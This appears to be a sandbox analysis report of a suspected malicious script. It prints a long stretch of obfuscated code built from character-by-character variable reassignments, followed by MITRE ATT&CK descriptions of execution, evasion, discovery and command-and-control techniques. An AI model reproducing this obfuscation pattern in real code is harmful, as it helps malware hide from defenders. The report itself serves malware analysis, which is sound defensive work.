481	ckmro = "b";
482	ckmro = "d";
483	ckmro = "N";
484	ckmro = "Z";
485	ckmro = "Z";
486	ckmro = "t";
487	ckmro = "i";
488	ijpdviw = "s";
489	ijpdviw = "O";
490	ijpdviw = "0";
491	qmhfw = "u";
492	qmhfw = "Z";
493	qmhfw = "J";
494	qmhfw = "Y";
495	qmhfw = "Z";
496	qmhfw = "W";
497	qmhfw = "Z";
498	qmhfw = "f";
499	qmhfw = "z";
500	qmhfw = "Q";
501	qmhfw = "T";
502	qmhfw = "G";
503	qmhfw = "Z";
504	qmhfw = "f";
505	qmhfw = "R";
506	qmhfw = "K";
507	qmhfw = "v";
508	qmhfw = "G";
509	qmhfw = "p";
510	qmhfw = "u";
511	qmhfw = "U";
512	qmhfw = "s";
513	qmhfw = "h";
514	qmhfw = "n";
515	qmhfw = "X";
516	qmhfw = "U";
517	qmhfw = "e";
518	qmhfw = "p";
519	qmhfw = "l";
520	qmhfw = "R";
521	qmhfw = "t";
522	vxoijfk = "s";
523	vxoijfk = "G";
524	vxoijfk = "q";
525	vxoijfk = "W";
526	vxoijfk = "Q";
527	xyciud = "b";
528	xyciud = "B";
529	xyciud = "S";
530	xyciud = "j";
531	xyciud = "a";
532	xyciud = "C";
533	xyciud = "S";
534	xyciud = "t";
535	xyciud = "a";
536	xyciud = "p";
537	xyciud = "Q";
538	xyciud = "b";
539	yazuwpd = "d";
540	yazuwpd = "N";
541	yazuwpd = "P";
542	yazuwpd = "d";
543	yazuwpd = "R";
544	yazuwpd = "O";
545	yazuwpd = "C";
546	yazuwpd = "w";
547	yazuwpd = "C";
548	yazuwpd = "Q";
549	yazuwpd = "h";
550	yazuwpd = "b";
551	yazuwpd = "P";
552	yazuwpd = "t";
553	yazuwpd = "u";
554	yazuwpd = "F";
555	yazuwpd = "z";
556	yazuwpd = "y";
557	yazuwpd = "B";
558	yazuwpd = "h";
559	yazuwpd = "w";
560	yazuwpd = "i";
561	yazuwpd = "y";
562	yazuwpd = "W";
563	yazuwpd = "k";
564	yazuwpd = "Y";
565	yazuwpd = "y";
566	yazuwpd = "u";
567	yazuwpd = "D";
568	yazuwpd = "W";
569	yazuwpd = "E";
570	yazuwpd = "r";
571	yazuwpd = "C";
572	yazuwpd = "t";
573	yazuwpd = "p";
574	yazuwpd = "p";
575	yazuwpd = "z";
576	yazuwpd = "D";
577	yazuwpd = "k";
578	kojsu = "i";
579	kojsu = "N";
580	kojsu = "y";
581	kojsu = "K";
582	kojsu = "W";
583	kojsu = "y";
584	kojsu = "r";
585	kojsu = "t";
586	kojsu = "h";
587	kojsu = "a";
588	kojsu = "W";
589	kojsu = "V";
590	kojsu = "E";
591	kojsu = "T";
592	kojsu = "g";
593	kojsu = "I";
594	kojsu = "d";
595	kojsu = "o";
596	kojsu = "K";
597	kojsu = "z";
598	kojsu = "V";
599	kojsu = "F";
600	kojsu = "d";
601	kojsu = "A";
602	kojsu = "M";
603	kojsu = "e";
604	kojsu = "e";
605	kojsu = "N";
606	kojsu = "W";
607	kojsu = "F";
608	kojsu = "W";
609	kojsu = "D";
610	kojsu = "3";
611	myxrhoynz = "w";
612	myxrhoynz = "h";
613	myxrhoynz = "Q";
614	myxrhoynz = "w";
615	myxrhoynz = "g";
616	myxrhoynz = "t";
617	myxrhoynz = "V";
618	myxrhoynz = "e";
619	myxrhoynz = "k";
620	myxrhoynz = "U";
621	lheine = "l";
622	lheine = "h";
623	lheine = "y";
624	lheine = "J";
625	lheine = "Q";
626	lheine = "y";
627	lheine = "I";
628	lheine = "j";
629	lheine = "X";
630	lheine = "v";
631	lheine = "h";
632	lheine = "T";
633	lheine = "X";
634	lheine = "Y";
635	lheine = "M";
636	lheine = "K";
637	lheine = "t";
638	lheine = "U";
639	lheine = "B";
640	lheine = "n";
641	lheine = "J";
642	lheine = "M";
643	lheine = "G";
644	lheine = "H";
645	lheine = "X";
646	lheine = "A";
647	lheine = "U";
648	lheine = "X";
649	lheine = "q";
650	lheine = "w";
651	lheine = "I";
652	lheine = "t";
653	lheine = "I";
654	lheine = "M";
655	lheine = "s";
656	lheine = "d";
657	lheine = "C";
658	ltxarnbqf = "B";
659	ltxarnbqf = "u";
660	ltxarnbqf = "C";
661	ltxarnbqf = "j";
662	ltxarnbqf = "n";
663	ltxarnbqf = "k";
664	ltxarnbqf = "V";
665	ltxarnbqf = "G";
666	ltxarnbqf = "i";
667	ltxarnbqf = "V";
668	ltxarnbqf = "V";
669	ltxarnbqf = "T";
670	ltxarnbqf = "v";
671	ltxarnbqf = "H";
672	ltxarnbqf = "J";
673	ltxarnbqf = "P";
674	ltxarnbqf = "X";
675	ltxarnbqf = "A";
676	ltxarnbqf = "s";
677	ltxarnbqf = "r";
678	eeiqvf = "S";
679	eeiqvf = "i";
680	eeiqvf = "k";
681	eeiqvf = "f";
682	eeiqvf = "u";
683	eeiqvf = "o";
684	eeiqvf = "r";
685	eeiqvf = "r";
686	eeiqvf = "d";
687	eeiqvf = "V";
688	eeiqvf = "X";
689	eeiqvf = "D";
690	eeiqvf = "L";
691	eeiqvf = "I";
692	eeiqvf = "w";
693	eeiqvf = "W";
694	eeiqvf = "b";
695	eeiqvf = "L";
696	eeiqvf = "L";
697	eeiqvf = ":";
698	fltta = "F";
699	fltta = "N";
700	fltta = "q";
701	fltta = "y";
702	fltta = "R";
703	fltta = "C";
704	fltta = "x";
705	fltta = "b";
706	fltta = "G";
707	fltta = "V";
708	fltta = "j";
709	fltta = "J";
710	fltta = "d";
711	fltta = "H";
712	fltta = "g";
713	fltta = "B";
714	fltta = "H";
715	xrbbsynr = "e";
716	xrbbsynr = "m";
717	xrbbsynr = "K";
718	xrbbsynr = "G";
719	xrbbsynr = "L";
720	xrbbsynr = "j";
721	xrbbsynr = "T";
722	xrbbsynr = "y";
723	xrbbsynr = "t";
724	xrbbsynr = "L";
725	xrbbsynr = "H";
726	xrbbsynr = "c";
727	xrbbsynr = "l";
728	xrbbsynr = "y";
729	xrbbsynr = "V";
730	xrbbsynr = "g";
731	xrbbsynr = "n";
732	xrbbsynr = "g";
733	xrbbsynr = "v";
734	xrbbsynr = "e";
735	xrbbsynr = "Z";
736	xrbbsynr = "P";
737	xrbbsynr = "R";
738	xrbbsynr = "g";
739	xrbbsynr = "S";
740	xrbbsynr = "y";
741	xrbbsynr = "x";
742	xrbbsynr = "F";
743	xrbbsynr = "E";
744	xrbbsynr = "c";
745	xrbbsynr = "d";
746	nquqacowq = "y";
747	nquqacowq = "E";
748	nquqacowq = "x";
749	nquqacowq = "u";
750	nquqacowq = "d";
751	nquqacowq = "M";
752	nquqacowq = "H";
753	nquqacowq = "X";
754	nquqacowq = "x";
755	nquqacowq = "d";
756	nquqacowq = "N";
757	nquqacowq = "G";
758	nquqacowq = "I";
759	nquqacowq = "x";
760	nquqacowq = "y";
761	nquqacowq = "R";
762	nquqacowq = "R";
763	nquqacowq = "d";
764	nquqacowq = "a";
765	nquqacowq = "t";
766	nquqacowq = "I";
767	nquqacowq = "m";
768	nquqacowq = "H";
769	nquqacowq = "I";
770	nquqacowq = "g";
771	nquqacowq = "f";
772	nquqacowq = "M";
773	nquqacowq = "z";
774	nquqacowq = "v";
775	nquqacowq = "N";
776	nquqacowq = "P";
777	nquqacowq = "p";
778	nquqacowq = "w";
779	nquqacowq = "b";
780	nquqacowq = "o";
781	nquqacowq = "s";
782	nquqacowq = "8";
783	ozdvqc = "V";
784	ozdvqc = "c";
785	ozdvqc = "D";
786	ozdvqc = "R";
787	ozdvqc = "b";
788	ozdvqc = "c";
789	ozdvqc = "T";
790	ozdvqc = "b";
791	ozdvqc = "Y";
792	ozdvqc = "Z";
793	ozdvqc = "q";
794	ozdvqc = "W";
795	ozdvqc = "S";
796	ozdvqc = "w";
797	ozdvqc = "s";
798	ozdvqc = "d";
799	ozdvqc = "O";
800	ozdvqc = "N";
801	ozdvqc = "B";
802	ozdvqc = "d";
803	ozdvqc = "N";
804	ozdvqc = "v";
805	ozdvqc = "v";
806	ozdvqc = "f";
807	ozdvqc = "v";
808	ozdvqc = "S";
809	yjjgveasi = "O";
810	yjjgveasi = "j";
811	yjjgveasi = "y";
812	yjjgveasi = "f";
813	yjjgveasi = "Q";
814	yjjgveasi = "v";
815	yjjgveasi = "S";
816	yjjgveasi = "a";
817	yjjgveasi = "o";
818	yjjgveasi = "n";
819	yjjgveasi = "L";
820	yjjgveasi = "e";
821	yjjgveasi = "U";
822	yjjgveasi = "k";
823	yjjgveasi = "K";
824	pmshghejr = "c";
825	pmshghejr = "o";
826	pmshghejr = "Q";
827	pmshghejr = "R";
828	pmshghejr = "V";
829	pmshghejr = "t";
830	pmshghejr = "C";
831	pmshghejr = "a";
832	pmshghejr = "k";
833	pmshghejr = "m";
834	pmshghejr = "t";
835	pmshghejr = "u";
836	pmshghejr = "D";
837	pmshghejr = "N";
838	pmshghejr = "y";
839	pmshghejr = "K";
840	pmshghejr = "a";
841	pmshghejr = "X";
842	pmshghejr = "Z";
843	pmshghejr = "u";
844	pmshghejr = "p";
845	pmshghejr = "/";
846	dxgvtyqc = "R";
847	dxgvtyqc = "T";
848	dxgvtyqc = "p";
849	dxgvtyqc = "E";
850	dxgvtyqc = "X";
851	dxgvtyqc = "r";
852	dxgvtyqc = "J";
853	dxgvtyqc = "a";
854	dxgvtyqc = "P";
855	dxgvtyqc = "d";
856	dxgvtyqc = "q";
857	dxgvtyqc = "r";
858	dxgvtyqc = "e";
859	dxgvtyqc = "C";
860	dxgvtyqc = "x";
861	dxgvtyqc = "d";
862	dxgvtyqc = "G";
863	dxgvtyqc = "W";
864	dxgvtyqc = "y";
865	dxgvtyqc = "W";
866	dxgvtyqc = "g";
867	dxgvtyqc = "T";
868	dxgvtyqc = "F";
869	dxgvtyqc = "n";
870	dxgvtyqc = "A";
871	dxgvtyqc = "T";
872	dxgvtyqc = "n";
873	dxgvtyqc = "I";
874	dxgvtyqc = "d";
875	dxgvtyqc = "B";
876	dxgvtyqc = "R";
877	dxgvtyqc = "y";
878	dxgvtyqc = "j";
879	dxgvtyqc = "u";
880	dxgvtyqc = "z";
881	dxgvtyqc = "g";
882	dxgvtyqc = "H";
883	dxgvtyqc = "N";
884	dxgvtyqc = "k";
885	dxgvtyqc = "U";
886	dxgvtyqc = "a";
887	dxgvtyqc = "E";
888	dxgvtyqc = "K";
889	dxgvtyqc = "U";
890	dxgvtyqc = "u";
891	qklgq = "O";
892	qklgq = "c";
893	fqwacg = "l";
894	fqwacg = "B";
895	fqwacg = "O";
896	fqwacg = "p";
897	fqwacg = "D";
898	fqwacg = "R";
899	fqwacg = "I";
900	fqwacg = "N";
901	fqwacg = "q";
902	fqwacg = "Q";
903	fqwacg = "N";
904	fqwacg = "D";
905	fqwacg = "K";
906	fqwacg = "R";
907	fqwacg = "U";
908	fqwacg = "Z";
909	fqwacg = "K";
910	fqwacg = "C";
911	fqwacg = "t";
912	fqwacg = "M";
913	fqwacg = "5";
914	ucdauier = "Q";
915	ucdauier = "a";
916	ucdauier = "N";
917	ucdauier = "K";
918	ucdauier = "d";
919	ucdauier = "k";
920	ucdauier = "r";
921	ucdauier = "K";
922	ucdauier = "q";
923	ucdauier = "y";
924	ucdauier = "i";
925	ucdauier = "K";
926	ucdauier = "a";
927	ucdauier = "p";
928	ucdauier = "K";
929	ucdauier = "Z";
930	ucdauier = "m";
931	ucdauier = "P";
932	ucdauier = "F";
933	ucdauier = "Q";
934	ucdauier = "l";
935	ucdauier = "Y";
936	ucdauier = "G";
937	ucdauier = "p";
938	ucdauier = "V";
939	ucdauier = "s";
940	ucdauier = "h";
941	ucdauier = "p";
942	ucdauier = "L";
943	ucdauier = "g";
944	ucdauier = "U";
945	ucdauier = "u";
946	ucdauier = "C";
947	ucdauier = "d";
948	ucdauier = "E";
949	ucdauier = "A";
950	ucdauier = "y";
951	ucdauier = "l";
952	ucdauier = "m";
953	ucdauier = "K";
954	ucdauier = "H";
955	ucdauier = "I";
956	ucdauier = "g";
957	ucdauier = "f";
958	pldspqpn = "R";
959	pldspqpn = "C";
960	pldspqpn = "Q";
961	pldspqpn = "o";
962	pldspqpn = "n";
963	pldspqpn = "t";
964	pldspqpn = "T";
965	pldspqpn = "K";
966	pldspqpn = "d";
967	pldspqpn = "X";
968	pldspqpn = "k";
969	pldspqpn = "O";
970	pldspqpn = "h";
971	pldspqpn = "l";
972	pldspqpn = "m";
973	pldspqpn = "K";
974	pldspqpn = "E";
975	pldspqpn = "X";
976	pldspqpn = "w";
977	pldspqpn = "s";
978	pldspqpn = "e";
979	pldspqpn = "M";
980	pldspqpn = "m";
981	pldspqpn = "E";
982	pldspqpn = "\\";
983	mgotvj = "Y";
984	mgotvj = "A";
985	mgotvj = "E";
986	mgotvj = "n";
987	mgotvj = "D";
988	mgotvj = "d";
989	mgotvj = "z";
990	mgotvj = "c";
991	mgotvj = "c";
992	mgotvj = "F";
993	mgotvj = "A";
994	mgotvj = "Z";
995	mgotvj = "X";
996	mgotvj = "s";
997	mgotvj = "v";
998	mgotvj = "g";
999	mgotvj = "F";
1000	mgotvj = "R";
1001	mgotvj = "f";
1002	mgotvj = "y";
1003	mgotvj = "V";
1004	mgotvj = "F";
1005	mgotvj = "c";
1006	mgotvj = "I";
1007	mgotvj = "Y";
1008	mgotvj = "U";
1009	mgotvj = "z";
1010	mgotvj = "H";
1011	mgotvj = "g";
1012	mgotvj = "M";
1013	mgotvj = "L";
1014	mgotvj = "T";
1015	mgotvj = "W";
1016	mgotvj = "h";
1017	mgotvj = "o";
1018	mgotvj = "c";
1019	mgotvj = "c";
1020	mgotvj = "H";
1021	mgotvj = "d";
1022	mgotvj = "b";
1023	mgotvj = "n";
1024	mgotvj = "V";
1025	mgotvj = "S";
1026	mgotvj = "I";
1027	qmikrpfm = "R";
1028	qmikrpfm = "L";
1029	qmikrpfm = "g";
1030	qmikrpfm = "c";
1031	qmikrpfm = "O";
1032	qmikrpfm = "R";
1033	qmikrpfm = "W";
1034	qmikrpfm = "O";
1035	qmikrpfm = "j";
1036	qmikrpfm = "Q";
1037	qmikrpfm = "L";
1038	qmikrpfm = "W";
1039	qmikrpfm = "n";
1040	qmikrpfm = "D";
1041	qmikrpfm = "a";
1042	qmikrpfm = "y";
1043	qmikrpfm = "K";
1044	qmikrpfm = "K";
1045	qmikrpfm = "v";
1046	qmikrpfm = "c";
1047	qmikrpfm = "c";
1048	qmikrpfm = "E";
1049	qmikrpfm = "R";
1050	gdzsptv = "E";
1051	gdzsptv = "r";
1052	gdzsptv = "f";
1053	gdzsptv = "O";
1054	gdzsptv = "M";
1055	gdzsptv = "I";
1056	gdzsptv = "a";
1057	gdzsptv = "Z";
1058	gdzsptv = "R";
1059	gdzsptv = "t";
1060	gdzsptv = "N";
1061	gdzsptv = "f";
1062	gdzsptv = "l";
1063	gdzsptv = "W";
1064	gdzsptv = "z";
1065	gdzsptv = "f";
1066	gdzsptv = "e";
1067	gdzsptv = "j";
1068	gdzsptv = "z";
1069	gdzsptv = "r";
1070	gdzsptv = "N";
1071	gdzsptv = "D";
1072	gdzsptv = "M";
1073	gdzsptv = "d";
1074	gdzsptv = "H";
1075	gdzsptv = "-";
1076	jrorwkfs = "J";
1077	jrorwkfs = "b";
1078	jrorwkfs = "B";
1079	jrorwkfs = "G";
1080	jrorwkfs = " ";
1081	kvisu = "h";
1082	kvisu = "J";
1083	kvisu = "R";
1084	kvisu = "k";
1085	kvisu = "Z";
1086	kvisu = "N";
1087	kvisu = "x";
1088	kvisu = "F";
1089	kvisu = "j";
1090	kvisu = "Y";
1091	kvisu = "s";
1092	kvisu = "S";
1093	kvisu = "d";
1094	kvisu = "C";
1095	kvisu = "X";
1096	kvisu = "a";
1097	kvisu = "f";
1098	kvisu = "E";
1099	kvisu = "D";
1100	kvisu = "g";
1101	kvisu = "N";
1102	kvisu = "a";
1103	kvisu = "N";
1104	kvisu = "N";
1105	kvisu = "y";
1106	kvisu = "4";
1107	clxpc = "d";
1108	clxpc = "h";
1109	clxpc = "R";
1110	clxpc = "z";
1111	clxpc = "l";
1112	clxpc = "U";
1113	clxpc = "z";
1114	clxpc = "P";
1115	clxpc = "z";
1116	clxpc = "Z";
1117	clxpc = "u";
1118	clxpc = "q";
1119	clxpc = "e";
1120	clxpc = "u";
1121	clxpc = "Z";
1122	clxpc = "x";
1123	clxpc = "Z";
1124	clxpc = "f";
1125	clxpc = "Q";
1126	clxpc = "g";
1127	clxpc = "Q";
1128	clxpc = "P";
1129	clxpc = "A";
1130	clxpc = "U";
1131	clxpc = "p";
1132	clxpc = "q";
1133	clxpc = "v";
1134	clxpc = "6";
1135	zyvau = "w";
1136	zyvau = "H";
1137	zyvau = "9";
1138	joxszdn = "A";
1139	joxszdn = "G";
1140	joxszdn = "D";
1141	joxszdn = "T";
1142	fpjmfc = "G";
1143	fpjmfc = "j";
1144	fpjmfc = "X";
1145	fpjmfc = "_";
1146	qmqqs = "e";
1147	qmqqs = "f";
1148	qmqqs = "A";
1149	qmqqs = "R";
1150	qmqqs = "b";
1151	qmqqs = "t";
1152	qmqqs = "o";
1153	qmqqs = "P";
1154	qmqqs = "k";
1155	qmqqs = "j";
1156	qmqqs = "j";
1157	qmqqs = "p";
1158	qmqqs = "w";
1159	qmqqs = "y";
1160	qmqqs = "p";
1161	qmqqs = "G";
1162	qmqqs = "u";
1163	qmqqs = "F";
1164	qmqqs = "N";
1165	qmqqs = "e";
1166	qybbaabm = "E";
1167	qybbaabm = "V";
1168	qybbaabm = "e";
1169	qybbaabm = "R";
1170	qybbaabm = "a";
1171	qybbaabm = "m";
1172	fijrero = "O";
1173	fijrero = "h";
1174	fijrero = "t";
1175	fijrero = "f";
1176	fijrero = "I";
1177	fijrero = "j";
1178	fijrero = "J";
1179	fijrero = "f";
1180	fijrero = "C";
1181	fijrero = "e";
1182	fijrero = "w";
1183	fijrero = "M";
1184	fijrero = "M";
1185	fijrero = "M";
1186	fijrero = "j";
1187	fijrero = "d";
1188	fijrero = "Z";
1189	fijrero = "L";
1190	fijrero = "Z";
1191	fijrero = "i";
1192	fijrero = "x";
1193	fijrero = "o";
1194	fijrero = "e";
1195	fijrero = "z";
1196	fijrero = "H";
1197	fijrero = "h";
1198	fijrero = "o";
1199	fijrero = "a";
1200	fijrero = "P";
1201	fijrero = "I";
1202	fijrero = "T";
1203	fijrero = "G";
1204	fijrero = "K";
1205	fijrero = "w";
1206	dfmgxtsi = "h";
1207	dfmgxtsi = "t";
1208	dfmgxtsi = "g";
1209	dfmgxtsi = "O";
1210	dfmgxtsi = "A";
1211	dfmgxtsi = "K";
1212	dfmgxtsi = "G";
1213	dfmgxtsi = "X";
1214	dfmgxtsi = "i";
1215	dfmgxtsi = "e";
1216	dfmgxtsi = "l";
1217	dfmgxtsi = "g";
1218	dfmgxtsi = "Z";
1219	dfmgxtsi = "L";
1220	dfmgxtsi = "C";
1221	dfmgxtsi = "c";
1222	dfmgxtsi = "T";
1223	dfmgxtsi = "Q";
1224	dfmgxtsi = "W";
1225	dfmgxtsi = "g";
1226	tpvizt = "P";
1227	tpvizt = "U";
1228	tpvizt = "m";
1229	tpvizt = "U";
1230	tpvizt = "l";
1231	tpvizt = "d";
1232	tpvizt = "Y";
1233	pumubowzk = "H";
1234	pumubowzk = "d";
1235	pumubowzk = "u";
1236	pumubowzk = "h";
1237	pumubowzk = "&";
1238	oxqauscst = "k";
1239	oxqauscst = "u";
1240	oxqauscst = "w";
1241	oxqauscst = "v";
1242	oxqauscst = "i";
1243	oxqauscst = "K";
1244	oxqauscst = "J";
1245	oxqauscst = "h";
1246	maxrbzq = "X";
1247	maxrbzq = "A";
1248	maxrbzq = "g";
1249	maxrbzq = "a";
1250	maxrbzq = "c";
1251	maxrbzq = "n";
1252	maxrbzq = "b";
1253	maxrbzq = "S";
1254	maxrbzq = "k";
1255	maxrbzq = "N";
1256	maxrbzq = "d";
1257	maxrbzq = "V";
1258	maxrbzq = "l";
1259	maxrbzq = "d";
1260	maxrbzq = "b";
1261	maxrbzq = "Q";
1262	maxrbzq = "g";
1263	maxrbzq = "E";
1264	maxrbzq = "h";
1265	maxrbzq = "e";
1266	maxrbzq = "P";
1267	maxrbzq = "z";
1268	maxrbzq = "X";
1269	maxrbzq = "c";
1270	maxrbzq = "A";
1271	maxrbzq = "K";
1272	maxrbzq = "v";
1273	maxrbzq = "C";
1274	maxrbzq = "j";
1275	maxrbzq = "a";
1276	maxrbzq = "a";
1277	dhfzuc = "N";
1278	dhfzuc = "T";
1279	dhfzuc = "F";
1280	dhfzuc = "C";
1281	dhfzuc = "S";
1282	dhfzuc = "H";
1283	dhfzuc = "B";
1284	dhfzuc = "u";
1285	dhfzuc = "r";
1286	dhfzuc = "V";
1287	dhfzuc = "x";
1288	dhfzuc = "h";
1289	dhfzuc = "l";
1290	dhfzuc = "k";
1291	dhfzuc = "K";
1292	dhfzuc = "z";
1293	dhfzuc = "v";
1294	dhfzuc = "K";
1295	dhfzuc = "d";
1296	dhfzuc = "o";
1297	dhfzuc = "s";
1298	dhfzuc = "M";
1299	dhfzuc = "T";
1300	dhfzuc = "t";
1301	dhfzuc = "z";
1302	dhfzuc = "X";
1303	dhfzuc = "x";
1304	dhfzuc = "x";
1305	dhfzuc = "X";
1306	dhfzuc = "@";
1307	dqnbxxvhd = "A";
1308	dqnbxxvhd = "E";
1309	dqnbxxvhd = "r";
1310	dqnbxxvhd = "E";
1311	dqnbxxvhd = "I";
1312	dqnbxxvhd = "e";
1313	dqnbxxvhd = "z";
1314	dqnbxxvhd = "n";
1315	dqnbxxvhd = "w";
1316	dqnbxxvhd = "y";
1317	dqnbxxvhd = "W";
1318	dqnbxxvhd = "x";
1319	dqnbxxvhd = "q";
1320	dqnbxxvhd = "\"";
1321	irkzhg ( );	irkzhg() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
